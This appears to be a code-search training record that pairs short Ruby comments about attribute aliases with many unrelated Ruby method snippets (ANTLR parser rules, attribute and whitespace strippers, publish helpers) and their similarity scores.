"def strip_readable_meta ( field = :description )\n self[field].scan(LEWTLedger::MATCH_MULTIPLE_META_REGEX).each do |m|\n self[field].slice!(m).strip!\n end\n end",
"def extract_meta\n end",
"def attr(name); end",
"def strip!() end",
"def link_attributes\n # -> uncomment the next line to manually enable rule tracing\n # trace_in( __method__, 17 )\n hash = nil\n attribute25 = nil\n # - - - - @init action - - - -\n hash = Hashie::Mash.new\n\n begin\n # at line 86:8: SEMICOLON ( ( WS )? attribute )*\n match( SEMICOLON, TOKENS_FOLLOWING_SEMICOLON_IN_link_attributes_753 )\n # at line 86:18: ( ( WS )? attribute )*\n while true # decision 26\n alt_26 = 2\n look_26_0 = @input.peek( 1 )\n\n if ( look_26_0.between?( WS, SCHEME ) || look_26_0.between?( CLASS, ACTIONS ) || look_26_0.between?( SELF, CATEGORY ) || look_26_0 == LOALPHA || look_26_0.between?( KIND, ACTION ) || look_26_0.between?( LINK, TERM ) )\n alt_26 = 1\n\n end\n case alt_26\n when 1\n # at line 86:19: ( WS )? attribute\n # at line 86:19: ( WS )?\n alt_25 = 2\n look_25_0 = @input.peek( 1 )\n\n if ( look_25_0 == WS )\n alt_25 = 1\n end\n case alt_25\n when 1\n # at line 86:19: WS\n match( WS, TOKENS_FOLLOWING_WS_IN_link_attributes_756 )\n\n end\n @state.following.push( TOKENS_FOLLOWING_attribute_IN_link_attributes_759 )\n attribute25 = attribute\n @state.following.pop\n # --> action\n hash.merge!(attribute25) \n # <-- action\n\n else\n break # out of loop for decision 26\n end\n end # loop for decision 26\n\n rescue ANTLR3::Error::RecognitionError => re\n report_error(re)\n recover(re)\n\n ensure\n # -> uncomment the next line to manually enable rule tracing\n # trace_out( __method__, 17 )\n\n end\n \n return hash\n end",
"def attribute(name); end",
"def attr_reader_tag(text); end",
"def strip_whitespace\n self.url = url.strip rescue ''\n self.explicit_refspec = explicit_refspec.strip rescue ''\n end",
"def get_council_reference(tds)\n clean_whitespace(tds[0].at('a').inner_text)\nend",
"def get_council_reference(tds)\n clean_whitespace(tds[0].at('a').inner_text)\nend",
"def link_attributes\n # -> uncomment the next line to manually enable rule tracing\n # trace_in( __method__, 17 )\n hash = nil\n attribute26 = nil\n # - - - - @init action - - - -\n hash = Hashie::Mash.new\n\n begin\n # at line 112:8: ( ';' ( WS )? attribute )*\n # at line 112:8: ( ';' ( WS )? attribute )*\n while true # decision 27\n alt_27 = 2\n look_27_0 = @input.peek(1)\n\n if (look_27_0 == T__11)\n look_27_1 = @input.peek(2)\n\n if (look_27_1.between?(WS, LOALPHA))\n alt_27 = 1\n\n end\n\n end\n case alt_27\n when 1\n # at line 112:9: ';' ( WS )? attribute\n match(T__11, TOKENS_FOLLOWING_T__11_IN_link_attributes_708)\n # at line 112:13: ( WS )?\n alt_26 = 2\n look_26_0 = @input.peek(1)\n\n if (look_26_0 == WS)\n alt_26 = 1\n end\n case alt_26\n when 1\n # at line 112:13: WS\n match(WS, TOKENS_FOLLOWING_WS_IN_link_attributes_710)\n\n end\n @state.following.push(TOKENS_FOLLOWING_attribute_IN_link_attributes_713)\n attribute26 = attribute\n @state.following.pop\n # --> action\n hash.merge!(attribute26)\n # <-- action\n\n else\n break # out of loop for decision 27\n end\n end # loop for decision 27\n\n rescue ANTLR3::Error::RecognitionError => re\n report_error(re)\n recover(re)\n\n ensure\n # -> uncomment the next line to manually enable rule tracing\n # trace_out( __method__, 17 )\n\n end\n\n return hash\n end",
"def get_council_reference(tds)\n return clean_whitespace(tds[0].at('a').inner_text )\nend",
"def get_council_reference(tds)\n return clean_whitespace(tds[0].at('a').inner_text )\nend",
"def strip_attributes\n attribute_names().each do |name|\n if self.send(name.to_sym).respond_to?(:strip)\n self.send(\"#{name}=\".to_sym, self.send(name).strip)\n end\n end\n end",
"def link_attributes(tag)\n Hash[$1.scan(/(\\w+)=\"([^\"]*)\"/)] if tag =~ link_regex\n end",
"def correct_abbreviations_attributes; end",
"def scrub_synchronization_attribute(deal,attr)\n if deal.class.respond_to?(:textiled_attributes) && deal.class.textiled_attributes.include?(attr)\n new_value = deal.send(\"#{attr}_source\")\n else\n new_value = deal.send(attr)\n end\n end",
"def strip_annotations(content); end",
"def attribute_to_directive(string)\n unhyphenate(snake_to_space(string))\nend",
"def attr_parse attr_line, attr\n if attr_line[0] == 'Facebook Group Page' || attr_line[0] == 'Website'\n link = attr_line[1...attr_line.length]\n return link.reduce { |whole, seg| whole.strip + ':' + seg.strip }\n end\n\n attr_line[1].strip if attr.include? attr_line[0].strip\nend",
"def aliases_for attributes\n attributes.each do |attr, nicks|\n [nicks].flatten.each do |nick|\n self.class_eval(\"alias #{nick} #{attr}\n alias #{nick}= #{attr}=\")\n end\n end\n end",
"def aref_prefix\n 'attribute'\n end",
"def make_attribute_readers \n readers = @specification[:attributes].map do |regexp_or_name|\n expr1 = regexp_or_name.kind_of?(Regexp) ? regexp_or_name.source : regexp_or_name.to_s\n expr = remove_trailing_equals_and_or_dollar(remove_leading_colon_or_at_sign(expr1))\n if regexp_or_name.kind_of? Regexp\n Regexp.new(remove_leading_colon_or_at_sign(expr))\n else\n expr\n end\n end\n Set.new(readers.sort_by {|exp| exp.to_s})\n end",
"def prepare_attribute!(name, _element, options)\n options[:attribute] = true if %w[href rel].include?(name.to_s)\n options[:render_nil] = render_nil?\n end",
"def helper_attr(*attrs); end",
"def alias_decls; end",
"def handle_prefixes\n return identifier if identifier.blank?\n identifier.strip!\n identifier.gsub!(DOI_MATCH, '') if identifier\n end",
"def process_attrasgn exp\n process_call exp\n end",
"def process_attrasgn exp\n process_call exp\n end",
"def alias_of; end",
"def attr_reader(sym, *more) end",
"def extract_delegation_data\n objects = @attribute_definition.to_s.split(\".\")\n @attribute = objects.pop\n @object = objects.reduce(@source, :send)\n end",
"def parse_link_definition; end",
"def filter\n doc = @mode == :xml ? Hpricot.XML(@str) : Hpricot(@str)\n base_path = ::Webby.site.base\n attr_rgxp = %r/\\[@(\\w+)\\]$/o\n sub_rgxp = %r/\\A(?=\\/)/o\n\n ::Webby.site.xpaths.each do |xpath|\n @attr_name = nil\n\n doc.search(xpath).each do |element|\n @attr_name ||= attr_rgxp.match(xpath)[1]\n a = element.get_attribute(@attr_name)\n element.set_attribute(@attr_name, a) if a.sub!(sub_rgxp, base_path)\n end\n end\n\n doc.to_html\n end",
"def history_sanitization\n self.class.new do |sanitize|\n sanitize.add_attributes['a'] = {'rel' => 'nofollow'}\n end\n end",
"def remove_attr(name); end",
"def remove_attr(name); end",
"def html_attributes(attr); end",
"def attr\n @attr || header.downcase\n end",
"def attr\n @attr || header.downcase\n end",
"def aliases=(_arg0); end",
"def aliases=(_arg0); end",
"def extract(*attrs)\n @to_extract = attrs\n attr_reader *attrs\n end",
"def parse_link; end",
"def fav_attr\n xml = Nokogiri::XML(self, nil, 'UTF-8') {|config| config.nonet}\n xml.remove_namespaces!\n\n attrs = {}\n if ut = xml.at_xpath('/ead/archdesc/did/unittitle')\n attrs[:unittitle] = ut.content.gsub(/\\s+/, ' ').sub(/[\\s,]+$/, '')\n end\n if uid = xml.at_xpath('/ead/archdesc/did/unitid')\n attrs[:unitid] = uid.content.rstrip\n end\n\n attrs.merge(digest: digest)\n end",
"def rstrip!() end",
"def strip_links(html); end",
"def strip_links(html); end",
"def strip_links(html); end",
"def fetch_adword_url_right(adword)\n\t\tadword.text\n\tend",
"def sub_attr(tag, attr)\n @doc.css(\"#{tag}[#{attr}]\").each do |el|\n el[attr] = yield el[attr]\n end\nend",
"def alias_to(agent_name)\n #inverting names\n inverted_names = invert_names(agent_name)\n agent_alias = \"\"\n #for each char of the inverted names change to the next char if necessary\n inverted_names.chars.each do |char|\n agent_alias << next_char(char)\n end\n agent_alias\nend",
"def normalize_attrs(attrs)\n attrs.keys.find_all { |k, v| k != k.downcase }.each { |k, v|\n v = v.downcase if k == \"rel\" || k == \"type\"\n attrs.delete k\n attrs[k.downcase] = v\n }\n attrs\n end",
"def tributes *attrs\n if attrs.empty? \n @tributes ||= []\n else \n @tributes = attrs\n super *attrs\n end \n end",
"def aliases; end",
"def aliases; end",
"def aliases; end",
"def lstrip() end",
"def kwattr_remove(attribute_name, keywords); end",
"def stripped\n @stripped ||= strip @text\n end",
"def get_attribute(name); end",
"def get_attribute(name); end",
"def attr_h(string)\n h(string).gsub('\"', '"')\n end",
"def raw_getter field\n val = self.instance_variable_get(\"@#{field}\")\n return nil if val.nil? == true || val == false\n\n if BOOL_ATTRIBUTES.include? field\n return field.to_s.gsub '_', '-' \n end\n\n if STR_ATTRIBUTES.include? field \n return val \n end\n\n if ARR_STR_ATTRIBUTES.include? field && val.empty? == false \n return val.join ' '\n end\n\n if SUB_STR_ATTRIBUTES.include? field \n return SUB_STR_ATTRIBUTES[field].sub '%sub%', val \n end \n end",
"def load_by(attrs)\n record = Persister.for(@decorated.class).find(attrs)\n\n unless record\n raise Dirt::MissingRecordError.new(\"No record matches #{attrs.collect { |pair| pair.join(' == ') }.join(', ')}.\")\n end\n\n chameleonize(record)\n\n self\n end",
"def silly_adjective; end",
"def convert_ref_tags; end",
"def separate_alias\n alias_match = ALIAS_SEPARATION.match(@page_name)\n if alias_match\n @page_name = normalize_whitespace(alias_match[1])\n @link_text = alias_match[2]\n end\n # note that [[filename|link text:file]] is also supported\n end",
"def do_attrs\n @content.scan(/rb_attr\\s*\\(\n \\s*(\\w+),\n \\s*([\\w\"()]+),\n \\s*([01]),\n \\s*([01]),\n \\s*\\w+\\);/xm) do |var_name, attr_name, read, write|\n handle_attr var_name, attr_name, read, write\n end\n\n @content.scan(%r%rb_define_attr\\(\n \\s*([\\w\\.]+),\n \\s*\"([^\"]+)\",\n \\s*(\\d+),\n \\s*(\\d+)\\s*\\);\n %xm) do |var_name, attr_name, read, write|\n handle_attr var_name, attr_name, read, write\n end\n end",
"def rstrip() end",
"def alias_attribute(alias_name, fully_qualified_name)\n self.class_eval <<-EOF\n def #{alias_name}\n read_attribute(\"#{fully_qualified_name}\")\n end\n def #{alias_name}=(value)\n write_attribute(\"#{fully_qualified_name}\", value)\n end\n EOF\n end",
"def attributes=(_arg0); end",
"def directives; end",
"def directives; end",
"def extract(name)\n @meta_tags.delete(name)\n end",
"def aliased_name; end",
"def dom_attribute(name); end",
"def filter(referent)\n issn = get_identifier(:urn, \"issn\", referent)\n\n return unless issn\n \n # normalize removing hyphen\n issn.gsub!('-', '')\n \n if ( @@da_issns.find { |i| i == issn } )\n # || lc($jtitle) =~ /dissertation/i || lc($jtitle2) =~ /dissertation/i)\n\n referent.enhance_referent(\"genre\", \"dissertation\")\n \n metadata = referent.metadata\n # Reset it's title to the dissertation title\n title = metadata['atitle'] || metadata['title']\n referent.enhance_referent(\"btitle\", title)\n referent.enhance_referent(\"title\", title, true, false, :overwrite => true)\n # Now erase titles that do not apply \n referent.remove_value(\"atitle\")\n referent.remove_value(\"jtitle\")\n referent.remove_value(\"stitle\")\n # issn or isbn are wrong, probably point to Dissertation Abstracts\n referent.remove_value(\"issn\")\n referent.remove_value(\"isbn\")\n # Same with all article level metadata\n referent.remove_value(\"volume\")\n referent.remove_value(\"issue\")\n referent.remove_value(\"issue_start\")\n referent.remove_value(\"spage\")\n referent.remove_value(\"epage\")\n end\n\n end",
"def fetch_nonadword_url(adword)\n\t\tadword.text\n\tend",
"def lstrip!() end",
"def ref_attrs\n docidentifier.detect(&:primary)&.tap do |di|\n return { anchor: di.id.gsub(\" \", \".\").squeeze(\".\") }\n end\n end",
"def caprese_unalias_field(field)\n caprese_field_aliases[field = field.to_sym] || field\n end",
"def attr; end",
"def att_from_receipt(atts, key)\n atts[key] || atts[key.underscore]\n end"
] | [
"0.57689977",
"0.5578861",
"0.54974926",
"0.54884523",
"0.54483515",
"0.5414357",
"0.5382716",
"0.5313235",
"0.5313235",
"0.5313235",
"0.52864313",
"0.5271466",
"0.5271466",
"0.52709186",
"0.525366",
"0.5242295",
"0.5237195",
"0.52173865",
"0.5215957",
"0.5215914",
"0.5202449",
"0.5184481",
"0.5173466",
"0.5164444",
"0.51558113",
"0.5155609",
"0.5155609",
"0.51178324",
"0.51170236",
"0.51170236",
"0.5111219",
"0.50958127",
"0.50944656",
"0.5067387",
"0.50654984",
"0.505403",
"0.5028117",
"0.50272155",
"0.50258464",
"0.5004573",
"0.49886504",
"0.49880877",
"0.4985785",
"0.49755433",
"0.49454695",
"0.49454695",
"0.49419257",
"0.49344617",
"0.49341723",
"0.49275607",
"0.49172896",
"0.4913993",
"0.49086055",
"0.49086055",
"0.49040633",
"0.4900745",
"0.4900745",
"0.48985788",
"0.48985788",
"0.48963082",
"0.48916832",
"0.4882973",
"0.48799825",
"0.4879972",
"0.4879972",
"0.4879972",
"0.48479876",
"0.48454207",
"0.48411494",
"0.48397183",
"0.48397008",
"0.48383096",
"0.48383096",
"0.48383096",
"0.48227233",
"0.48155084",
"0.48153326",
"0.48091906",
"0.48091906",
"0.48069057",
"0.48039085",
"0.4802771",
"0.4801066",
"0.47958812",
"0.4791405",
"0.47892755",
"0.47859052",
"0.47842294",
"0.4773916",
"0.47727576",
"0.47727576",
"0.47712508",
"0.476988",
"0.4765917",
"0.476532",
"0.47649828",
"0.4762226",
"0.47604722",
"0.47597718",
"0.47591832",
"0.47471228"
] | 0.0 | -1 |
alias for summary also add descr shortcut?? | def desc() summary; end | {
"objective": {
"self": [],
"paired": [],
"triplet": [
[
"query",
"document",
"negatives"
]
]
}
} | [
"def summary\n # TODO\n end",
"def description\n return summary\n end",
"def summary\n end",
"def summary\n end",
"def summary; end",
"def summary; end",
"def summary; end",
"def summary; end",
"def summary *args\n @summary = args.first if args.size > 0\n end",
"def summary\n \n end",
"def summary\n {}\n end",
"def summary\n\t\tobject.summary || \"\"\n\tend",
"def describe(desc, *additional_desc, &block); end",
"def define_summary(name, opts = {}, &block)\n define_metric(:summary, name, opts, &block)\n end",
"def article_summary\n respond_to?(:summary) ? summary : ''\n end",
"def dump_summary *args; end",
"def description; end",
"def description; end",
"def description; end",
"def description; end",
"def description; end",
"def description; end",
"def description; end",
"def description; end",
"def description; end",
"def description; end",
"def summary\n \"#{name} (#{email})\"\n end",
"def summary\n Rinku.auto_link(description.html_safe) rescue nil\n end",
"def summary\n description_section.first\n end",
"def base_description(_); end",
"def summary\n self.to_s\n end",
"def summary(event)\n if is_valid_description?(event.description) && event.summary\n \"#{event.summary} - #{event.description}\"\n elsif is_valid_description?(event.description)\n event.description\n elsif event.summary\n event.summary\n else\n \"no details\"\n end\n end",
"def summary\n @items.map { |i| \"* #{i.title}\" }.join(\"\\n\")\n end",
"def description\n end",
"def summary\r\n ListingDataProcessor.new(self).set_auto_link self.description\r\n end",
"def tag_summary(tag)\n summary(tag)[tag]\n end",
"def desc; end",
"def describe\n @description\n end",
"def describe\n @description\n end",
"def descr_short\n descr = self[:descr].to_s.gsub(\"\\n\", \" \").gsub(/\\s{2,}/, \" \")\n descr = Knj::Strings.shorten(descr, 20)\n #descr = \"[#{_(\"no description\")}]\" if descr.to_s.strip.length <= 0\n return descr\n end",
"def short_description\n description\n end",
"def render_summary\n summary = nil\n max_chars = (self.display_configuration.try {|h| h[\"summary_max_chars\"]}) || 280\n\n\n\n if self.snippets.length > 0 && !(self.display_configuration.try {|h| h[\"prefer_abstract_as_summary\"]} && self.abstract)\n summary = self.snippets.first\n self.snippets.slice(1, self.snippets.length).each do |snippet|\n summary += ' '.html_safe + snippet if (summary.length + snippet.length) <= max_chars\n end\n else\n summary = _h.bento_truncate( self.abstract, :length => max_chars )\n end\n\n summary\n end",
"def description=(_arg0); end",
"def description=(_arg0); end",
"def description=(_arg0); end",
"def summary\n return @summary\n end",
"def summary\n return @summary\n end",
"def summary\n return @summary\n end",
"def summary_detail\n Classifieds::Listing.format_cols([@title, @mileage, @price], SUMMARY_COL_FORMATS)\n end",
"def summary_detail\n Classifieds::Listing.format_cols([@name, @location], SUMMARY_COL_FORMATS)\n end",
"def summary\n summary =\"Planet #{name} is the color #{color} and it weights #{mass_kg}. and its #{distance_from_sun_km} km away from the sun. Here's a fun fact: #{fun_fact}.\"\n return summary\n end",
"def summary\n if @private\n nil\n elsif @namespace.id == \"default\"\n \"#{@id} - #{@description}\"\n else\n \"#{@namespace.id}#{@id} - #{@description}\"\n end\n end",
"def summary\n \"#<#{short_class_name}\" +\n \" address=#{address}\" +\n # TODO Add summaries to descriptions and use them here\n \" prev=#{previous_description.server_type.upcase} new=#{new_description.server_type.upcase}#{awaited_indicator}>\"\n end",
"def full_description\n \"#{self.class.description} #{self.description}\"\n end",
"def edit_summary\n return summary unless diff_stats # If diff_stats is nil, then summary is the edit summary\n nil # Otherwise, it's diff_stats and returns nil\n end",
"def description\n end",
"def description\n end",
"def desc\n\tend",
"def desc\n\tend",
"def summary\n summary = \"\n - Name: #{@name}\n - Color: #{@color}\n - Mass (in kg): #{@mass_kg}\n - Distance From Sun (in km): #{@distance_from_sun_km}\n - Fun Fact: #{@fun_facts}\"\n\n #returns summary as string\n return summary\n end",
"def summary\n Rumoji.decode(description)\n end",
"def description\n super || \"\"\n end",
"def description\n super + \", Milk\"\n end",
"def to_s\n descr\n end",
"def description\n super + \", Soy\"\n end",
"def description(*args)\n #do nothing\n end",
"def update_summary\n if self.description != nil\n shortened = /^(.*?)[.?!]\\s/.match(self.description)\n if shortened\n self.summary = shortened[1] + \"...\"\n end\n end\n end",
"def text_name\n summary.to_s\n end",
"def summary(name, options = {}, &block)\n create_attribute(name, summary_attributes, options, &block)\n end",
"def desc=(_); end",
"def summary\n @data['summary']\n end",
"def indefinite_short_description\n return \"something\"\n end",
"def summary\n summary =\n \" - Name: #{@name}\\n\"+\n \" - Color: #{@color}\\n\"+\n \" - Mass (in kg): #{@mass_kg}kg\\n\"+\n \" - Distance From Sun (in km): #{@distance_from_sun_km} million km.\\n\"+\n \" - Fun Fact: #{@fun_fact}\"\n return summary\n end",
"def manual_description\n txt = '\\t' + @names.join(\", \") + (@type && @type != 'x' ? ' ' : ': ')\n txt += _INTL('({1}): ',type_name(@type)) if @type && @type != 'x'\n txt += @description\n return txt\n end",
"def summary\n return desc.to_s.inspect unless desc.empty?\n flags.map(&:display_name).inspect\n end",
"def render_summary\n summary = nil\n\n end",
"def main_description; end",
"def autocomplete_summary\n summary = \"Trip Report: #{title}\"\n end",
"def manual_description\n return _INTL('\\t{1}: {2}',@name, @description)\n end",
"def desc\n return @desc\n end",
"def summary(text)\n Runner.instance.summary = text\n end",
"def short_description\n if respond_to?(:short_desc)\n short_desc\n else\n tag.to_s\n end\n end",
"def summary=(value)\n @summary = value\n end",
"def summary=(value)\n @summary = value\n end",
"def summary=(value)\n @summary = value\n end",
"def title\n self.summary\n end",
"def fetch_summary(name, opts = {}, &block)\n fetch_metric(:summary, name, opts, &block)\n end",
"def describe=(_); end",
"def description\n @description\n end",
"def description\n @description\n end",
"def description\n @description\n end",
"def description\n @description\n end",
"def description\n \"testing\"\n end",
"def description\n \"testing\"\n end",
"def mapped_summary\n specification.summary[0..139]\n rescue Pod::Informative, StandardError, SyntaxError\n ''\n end",
"def summary()\n\t\treturn \"#{@name} is a wonderful planet! It is a beautiful #{color} color! #{@name} has a mass of #{mass_kg} kg and is #{distance_from_sun_km} km from the sun. You might be surprised to find that: #{fun_fact}.\"\n\tend",
"def describe(name)\n super\n end",
"def description\n ''\n end",
"def summary\n @summary ||= tags.map { |tag| tag_summary(tag) }.compact.sort\n end",
"def desc(usage, desc, long_desc = nil)\n @usage = usage\n @desc = desc\n @long_desc = long_desc\n end"
] | [
"0.7998052",
"0.7950138",
"0.7838732",
"0.7838732",
"0.77272326",
"0.77272326",
"0.77272326",
"0.77272326",
"0.7421978",
"0.7414017",
"0.74064475",
"0.73783284",
"0.7327787",
"0.7302037",
"0.7216659",
"0.7126676",
"0.7118923",
"0.7118923",
"0.7118923",
"0.7118923",
"0.7118923",
"0.7118923",
"0.7118923",
"0.7118923",
"0.7118923",
"0.7118923",
"0.7095259",
"0.7082772",
"0.69972223",
"0.699011",
"0.6966452",
"0.69646823",
"0.69590557",
"0.6953665",
"0.6938187",
"0.6905175",
"0.69010764",
"0.6899072",
"0.6899072",
"0.68885535",
"0.68762296",
"0.686785",
"0.6851628",
"0.6851628",
"0.6851628",
"0.6817071",
"0.6817071",
"0.6817071",
"0.681236",
"0.68084323",
"0.6807471",
"0.67921114",
"0.67766964",
"0.6749386",
"0.67305577",
"0.6728882",
"0.6728882",
"0.67202675",
"0.67202675",
"0.6716643",
"0.6716498",
"0.6707578",
"0.6706157",
"0.6701439",
"0.6699563",
"0.66991657",
"0.6691209",
"0.6670136",
"0.66624385",
"0.66622007",
"0.66605365",
"0.6658126",
"0.6640958",
"0.66251004",
"0.6623503",
"0.65882283",
"0.65875685",
"0.6585441",
"0.65782386",
"0.65641963",
"0.6563922",
"0.6554996",
"0.655378",
"0.655378",
"0.655378",
"0.65486085",
"0.6545062",
"0.65404266",
"0.65403974",
"0.65403974",
"0.65403974",
"0.65403974",
"0.6534622",
"0.6534622",
"0.652867",
"0.6516326",
"0.65064824",
"0.6503353",
"0.6486429",
"0.6482074"
] | 0.80219734 | 0 |
alias (2) for summary also add descr shortcut?? | def link() url; end | {
"objective": {
"self": [],
"paired": [],
"triplet": [
[
"query",
"document",
"negatives"
]
]
}
} | [
"def desc() summary; end",
"def description\n return summary\n end",
"def summary\n # TODO\n end",
"def summary\n end",
"def summary\n end",
"def summary; end",
"def summary; end",
"def summary; end",
"def summary; end",
"def describe(desc, *additional_desc, &block); end",
"def summary *args\n @summary = args.first if args.size > 0\n end",
"def summary\n \n end",
"def description=(_arg0); end",
"def description=(_arg0); end",
"def description=(_arg0); end",
"def define_summary(name, opts = {}, &block)\n define_metric(:summary, name, opts, &block)\n end",
"def description; end",
"def description; end",
"def description; end",
"def description; end",
"def description; end",
"def description; end",
"def description; end",
"def description; end",
"def description; end",
"def description; end",
"def base_description(_); end",
"def summary\n {}\n end",
"def dump_summary *args; end",
"def article_summary\n respond_to?(:summary) ? summary : ''\n end",
"def description\n end",
"def summary\n Rinku.auto_link(description.html_safe) rescue nil\n end",
"def descr_short\n descr = self[:descr].to_s.gsub(\"\\n\", \" \").gsub(/\\s{2,}/, \" \")\n descr = Knj::Strings.shorten(descr, 20)\n #descr = \"[#{_(\"no description\")}]\" if descr.to_s.strip.length <= 0\n return descr\n end",
"def summary\n\t\tobject.summary || \"\"\n\tend",
"def desc; end",
"def summary\n description_section.first\n end",
"def desc=(_); end",
"def description(*args)\n #do nothing\n end",
"def summary\n \"#{name} (#{email})\"\n end",
"def description\n super + \", Milk\"\n end",
"def desc\n\tend",
"def desc\n\tend",
"def description\n super + \", Soy\"\n end",
"def short_description\n description\n end",
"def manual_description\n return _INTL('\\t{1}: {2}',@name, @description)\n end",
"def description\n super || \"\"\n end",
"def summary\r\n ListingDataProcessor.new(self).set_auto_link self.description\r\n end",
"def main_description; end",
"def summary(event)\n if is_valid_description?(event.description) && event.summary\n \"#{event.summary} - #{event.description}\"\n elsif is_valid_description?(event.description)\n event.description\n elsif event.summary\n event.summary\n else\n \"no details\"\n end\n end",
"def indefinite_short_description\n return \"something\"\n end",
"def tag_summary(tag)\n summary(tag)[tag]\n end",
"def edit_summary\n return summary unless diff_stats # If diff_stats is nil, then summary is the edit summary\n nil # Otherwise, it's diff_stats and returns nil\n end",
"def manual_description\n txt = '\\t' + @names.join(\", \") + (@type && @type != 'x' ? ' ' : ': ')\n txt += _INTL('({1}): ',type_name(@type)) if @type && @type != 'x'\n txt += @description\n return txt\n end",
"def summary_detail\n Classifieds::Listing.format_cols([@title, @mileage, @price], SUMMARY_COL_FORMATS)\n end",
"def describe\n @description\n end",
"def describe\n @description\n end",
"def desc(usage, desc, long_desc = nil)\n @usage = usage\n @desc = desc\n @long_desc = long_desc\n end",
"def describe=(_); end",
"def summary_detail\n Classifieds::Listing.format_cols([@name, @location], SUMMARY_COL_FORMATS)\n end",
"def description\n end",
"def description\n end",
"def summary\n @items.map { |i| \"* #{i.title}\" }.join(\"\\n\")\n end",
"def update_summary\n if self.description != nil\n shortened = /^(.*?)[.?!]\\s/.match(self.description)\n if shortened\n self.summary = shortened[1] + \"...\"\n end\n end\n end",
"def text_name\n summary.to_s\n end",
"def render_summary\n summary = nil\n max_chars = (self.display_configuration.try {|h| h[\"summary_max_chars\"]}) || 280\n\n\n\n if self.snippets.length > 0 && !(self.display_configuration.try {|h| h[\"prefer_abstract_as_summary\"]} && self.abstract)\n summary = self.snippets.first\n self.snippets.slice(1, self.snippets.length).each do |snippet|\n summary += ' '.html_safe + snippet if (summary.length + snippet.length) <= max_chars\n end\n else\n summary = _h.bento_truncate( self.abstract, :length => max_chars )\n end\n\n summary\n end",
"def summary\n self.to_s\n end",
"def short_description\n if respond_to?(:short_desc)\n short_desc\n else\n tag.to_s\n end\n end",
"def description\n \"testing\"\n end",
"def description\n \"testing\"\n end",
"def summary\n if @private\n nil\n elsif @namespace.id == \"default\"\n \"#{@id} - #{@description}\"\n else\n \"#{@namespace.id}#{@id} - #{@description}\"\n end\n end",
"def description(arg=nil)\n @description = arg if arg\n @description\n end",
"def program_long_desc(desc)\n abstract!\n end",
"def to_s\n descr\n end",
"def full_description\n \"#{self.class.description} #{self.description}\"\n end",
"def description\n super + \", Whip\"\n end",
"def descr\n return text_get(2, id)\n end",
"def summary\n Rumoji.decode(description)\n end",
"def summary\n summary =\"Planet #{name} is the color #{color} and it weights #{mass_kg}. and its #{distance_from_sun_km} km away from the sun. Here's a fun fact: #{fun_fact}.\"\n return summary\n end",
"def description_label\n raise NotImplementedError\n end",
"def desc\n return @desc\n end",
"def autocomplete_summary\n summary = \"Trip Report: #{title}\"\n end",
"def description(desc = NO_VALUE)\n if desc == NO_VALUE\n return @description\n else\n @description = desc\n end\n end",
"def description\n ''\n end",
"def description(desc = nil)\n @description = desc if desc\n @description\n end",
"def summary\n \"#<#{short_class_name}\" +\n \" address=#{address}\" +\n # TODO Add summaries to descriptions and use them here\n \" prev=#{previous_description.server_type.upcase} new=#{new_description.server_type.upcase}#{awaited_indicator}>\"\n end",
"def description\n @description\n end",
"def description\n @description\n end",
"def description\n @description\n end",
"def description\n @description\n end",
"def description\n str = \"alias :#{old_method_name}\"\n\n str << \" as #{new_method_name.inspect}\" if new_method_name\n\n str\n end",
"def describe(name)\n super\n end",
"def description\n \"have #{@name.inspect} tag #{extra_description}\".strip\n end",
"def summary\n return desc.to_s.inspect unless desc.empty?\n flags.map(&:display_name).inspect\n end",
"def default_value_for_summary\n positional_match_or_nil(@chunked_source.readme, SUMMARY_MATCH, 0) do |str|\n warn(\"Using summary from README: #{str}\")\n end\n end",
"def summary(name, options = {}, &block)\n create_attribute(name, summary_attributes, options, &block)\n end",
"def desc(usage, description)\n @docs ||= []\n @docs << { usage: usage, desc: description }\n end",
"def use_desc\n desc = @desc\n @desc = nil\n desc || ''\n end",
"def description(value, target=nil)\n attribute(:description, value, {}, target || [])\n end",
"def mapped_summary\n specification.summary[0..139]\n rescue Pod::Informative, StandardError, SyntaxError\n ''\n end",
"def referent_summary ref, options={}\n header =\n if options[:header] || options[:label]\n referent_identifier ref, options[:label]\n else\n 'Topic: '.html_safe +\n homelink(ref, title: ref.name) +\n collectible_edit_button(ref)\n end\n sub_summs = [\n ref_expressions_summary(ref, except: ref.name_tag),\n ref_parents_summary(ref),\n ref_children_summary(ref),\n ref_affiliates_summary(ref)\n ].compact.flatten(1)\n header.present? ? [ header, sub_summs ] : sub_summs\n end",
"def description; attributes[:description] || attributes[:desc] end"
] | [
"0.783032",
"0.76221365",
"0.75370675",
"0.7412426",
"0.7412426",
"0.7348318",
"0.7348318",
"0.7348318",
"0.7348318",
"0.73286444",
"0.71845746",
"0.69830287",
"0.6978565",
"0.6978565",
"0.6978565",
"0.6977788",
"0.69525003",
"0.69525003",
"0.69525003",
"0.69525003",
"0.69525003",
"0.69525003",
"0.69525003",
"0.69525003",
"0.69525003",
"0.69525003",
"0.69153434",
"0.6902129",
"0.6843053",
"0.6825255",
"0.68247014",
"0.68151355",
"0.6808316",
"0.6804361",
"0.67777",
"0.67743623",
"0.67386824",
"0.6695575",
"0.66948706",
"0.66872245",
"0.66740954",
"0.66740954",
"0.66669446",
"0.6663524",
"0.66546804",
"0.6622678",
"0.66063726",
"0.6606186",
"0.6602589",
"0.65884477",
"0.65855896",
"0.6579839",
"0.65793145",
"0.6557652",
"0.6533575",
"0.6533575",
"0.6523817",
"0.6504712",
"0.64982",
"0.649348",
"0.649348",
"0.6489389",
"0.648858",
"0.648473",
"0.6480298",
"0.6466486",
"0.6456306",
"0.64561015",
"0.64561015",
"0.6425093",
"0.6417415",
"0.64146554",
"0.6414542",
"0.6413617",
"0.6398185",
"0.6375222",
"0.6368277",
"0.6366208",
"0.63644457",
"0.6359033",
"0.63575524",
"0.6356813",
"0.6337043",
"0.6317532",
"0.6313551",
"0.6311478",
"0.6311478",
"0.6311478",
"0.6311478",
"0.6311324",
"0.63018036",
"0.62867886",
"0.62839663",
"0.62788385",
"0.62737757",
"0.6270322",
"0.6254452",
"0.62498397",
"0.6239362",
"0.6230711",
"0.6217711"
] | 0.0 | -1 |
note: published is basically an alias for created | def updated
## todo/fix: use a new name - do NOT squeeze convenience lookup into existing
# db backed attribute
read_attribute_w_fallbacks( :updated, :published )
end | {
"objective": {
"self": [],
"paired": [],
"triplet": [
[
"query",
"document",
"negatives"
]
]
}
} | [
"def published?; end",
"def published?; end",
"def publish\n self.published = true\n end",
"def publish\n end",
"def publish\n end",
"def publish\n end",
"def publish!\n self.update_attribute(:published, true)\n end",
"def publish!\n self.published = true\n save\n end",
"def publish\n\t\tchanged = !published?\n\t\tself.status = 'published'\n\t\tchanged\n\tend",
"def published\n respond_with published_query(true)\n end",
